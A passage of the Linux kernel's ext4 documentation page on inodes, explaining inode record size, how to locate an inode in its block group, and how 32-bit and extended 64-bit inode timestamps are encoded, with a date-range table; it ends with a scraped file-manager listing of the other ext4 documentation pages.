<code class="docutils literal notranslate"><span class="pre">i_extra_isize</span></code>. By default, ext4 inode records are 256 bytes, and (as
of August 2019) the inode structure is 160 bytes
(<code class="docutils literal notranslate"><span class="pre">i_extra_isize</span> <span class="pre">=</span> <span class="pre">32</span></code>). The extra space between the end of the inode
structure and the end of the inode record can be used to store extended
attributes. Each inode record can be as large as the filesystem block
size, though this is not terribly efficient.</p>
</section>
<section id="finding-an-inode">
<h2><span class="section-number">4.1.2. </span>Finding an Inode<a class="headerlink" href="#finding-an-inode" title="Link to this heading">¶</a></h2>
<p>Each block group contains <code class="docutils literal notranslate"><span class="pre">sb-&gt;s_inodes_per_group</span></code> inodes. Because
inode 0 is defined not to exist, this formula can be used to find the
block group that an inode lives in:
<code class="docutils literal notranslate"><span class="pre">bg</span> <span class="pre">=</span> <span class="pre">(inode_num</span> <span class="pre">-</span> <span class="pre">1)</span> <span class="pre">/</span> <span class="pre">sb-&gt;s_inodes_per_group</span></code>. The particular inode
can be found within the block group’s inode table at
<code class="docutils literal notranslate"><span class="pre">index</span> <span class="pre">=</span> <span class="pre">(inode_num</span> <span class="pre">-</span> <span class="pre">1)</span> <span class="pre">%</span> <span class="pre">sb-&gt;s_inodes_per_group</span></code>. To get the byte
address within the inode table, use
<code class="docutils literal notranslate"><span class="pre">offset</span> <span class="pre">=</span> <span class="pre">index</span> <span class="pre">*</span> <span class="pre">sb-&gt;s_inode_size</span></code>.</p>
</section>
<section id="inode-timestamps">
<h2><span class="section-number">4.1.3. </span>Inode Timestamps<a class="headerlink" href="#inode-timestamps" title="Link to this heading">¶</a></h2>
<p>Four timestamps are recorded in the lower 128 bytes of the inode
structure -- inode change time (ctime), access time (atime), data
modification time (mtime), and deletion time (dtime). The four fields
are 32-bit signed integers that represent seconds since the Unix epoch
(1970-01-01 00:00:00 GMT), which means that the fields will overflow in
January 2038. If the filesystem does not have orphan_file feature, inodes
that are not linked from any directory but are still open (orphan inodes) have
the dtime field overloaded for use with the orphan list. The superblock field
<code class="docutils literal notranslate"><span class="pre">s_last_orphan</span></code> points to the first inode in the orphan list; dtime is then
the number of the next orphaned inode, or zero if there are no more orphans.</p>
<p>If the inode structure size <code class="docutils literal notranslate"><span class="pre">sb-&gt;s_inode_size</span></code> is larger than 128
bytes and the <code class="docutils literal notranslate"><span class="pre">i_inode_extra</span></code> field is large enough to encompass the
respective <code class="docutils literal notranslate"><span class="pre">i_[cma]time_extra</span></code> field, the ctime, atime, and mtime
inode fields are widened to 64 bits. Within this “extra” 32-bit field,
the lower two bits are used to extend the 32-bit seconds field to be 34
bit wide; the upper 30 bits are used to provide nanosecond timestamp
accuracy. Therefore, timestamps should not overflow until May 2446.
dtime was not widened. There is also a fifth timestamp to record inode
creation time (crtime); this field is 64-bits wide and decoded in the
same manner as 64-bit [cma]time. Neither crtime nor dtime are accessible
through the regular <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">stat()</span></code> interface, though debugfs will report them.</p>
<p>We use the 32-bit signed time value plus (2^32 * (extra epoch bits)).
In other words:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 20.0%" />
<col style="width: 20.0%" />
<col style="width: 20.0%" />
<col style="width: 20.0%" />
<col style="width: 20.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Extra epoch bits</p></th>
<th class="head"><p>MSB of 32-bit time</p></th>
<th class="head"><p>Adjustment for signed 32-bit to 64-bit tv_sec</p></th>
<th class="head"><p>Decoded 64-bit tv_sec</p></th>
<th class="head"><p>valid time range</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0 0</p></td>
<td><p>1</p></td>
<td><p>0</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">-0x80000000</span> <span class="pre">-</span> <span class="pre">-0x00000001</span></code></p></td>
<td><p>1901-12-13 to 1969-12-31</p></td>
</tr>
<tr class="row-odd"><td><p>0 0</p></td>
<td><p>0</p></td>
<td><p>0</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x000000000</span> <span class="pre">-</span> <span class="pre">0x07fffffff</span></code></p></td>
<td><p>1970-01-01 to 2038-01-19</p></td>
</tr>
<tr class="row-even"><td><p>0 1</p></td>
<td><p>1</p></td>
<td><p>0x100000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x080000000</span> <span class="pre">-</span> <span class="pre">0x0ffffffff</span></code></p></td>
<td><p>2038-01-19 to 2106-02-07</p></td>
</tr>
<tr class="row-odd"><td><p>0 1</p></td>
<td><p>0</p></td>
<td><p>0x100000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x100000000</span> <span class="pre">-</span> <span class="pre">0x17fffffff</span></code></p></td>
<td><p>2106-02-07 to 2174-02-25</p></td>
</tr>
<tr class="row-even"><td><p>1 0</p></td>
<td><p>1</p></td>
<td><p>0x200000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x180000000</span> <span class="pre">-</span> <span class="pre">0x1ffffffff</span></code></p></td>
<td><p>2174-02-25 to 2242-03-16</p></td>
</tr>
<tr class="row-odd"><td><p>1 0</p></td>
<td><p>0</p></td>
<td><p>0x200000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x200000000</span> <span class="pre">-</span> <span class="pre">0x27fffffff</span></code></p></td>
<td><p>2242-03-16 to 2310-04-04</p></td>
</tr>
<tr class="row-even"><td><p>1 1</p></td>
<td><p>1</p></td>
<td><p>0x300000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x280000000</span> <span class="pre">-</span> <span class="pre">0x2ffffffff</span></code></p></td>
<td><p>2310-04-04 to 2378-04-22</p></td>
</tr>
<tr class="row-odd"><td><p>1 1</p></td>
<td><p>0</p></td>
<td><p>0x300000000</p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">0x300000000</span> <span class="pre">-</span> <span class="pre">0x37fffffff</span></code></p></td>
<td><p>2378-04-22 to 2446-05-10</p></td>
</tr>
</tbody>
</table>
<p>This is a somewhat odd encoding since there are effectively seven times
as many positive values as negative values. There have also been
long-standing bugs decoding and encoding dates beyond 2038, which don’t
seem to be fixed as of kernel 3.12 and e2fsprogs 1.42.8. 64-bit kernels
incorrectly use the extra epoch bits 1,1 for dates between 1901 and
1970. At some point the kernel will be fixed and e2fsck will fix this
situation, assuming that it is run before 2310.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/filesystems/ext4/inodes.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
about.html File 10.74 KB 0644
allocators.html File 11.32 KB 0644
atomic_writes.html File 23.38 KB 0644
attributes.html File 17.68 KB 0644
bigalloc.html File 9.84 KB 0644
bitmaps.html File 9.17 KB 0644
blockgroup.html File 16.02 KB 0644
blockmap.html File 10.92 KB 0644
blocks.html File 13.03 KB 0644
checksums.html File 11.76 KB 0644
directory.html File 30.85 KB 0644
dynamic.html File 10.05 KB 0644
eainode.html File 9.04 KB 0644
globals.html File 10.3 KB 0644
group_descr.html File 15.66 KB 0644
ifork.html File 23.04 KB 0644
index.html File 11.11 KB 0644
inlinedata.html File 10.18 KB 0644
inode_table.html File 8.43 KB 0644
inodes.html File 37.98 KB 0644
journal.html File 45.16 KB 0644
mmp.html File 11.48 KB 0644
orphan.html File 10.48 KB 0644
overview.html File 12.11 KB 0644
special_inodes.html File 10.42 KB 0644
super.html File 44.31 KB 0644
verity.html File 10.07 KB 0644
Filemanager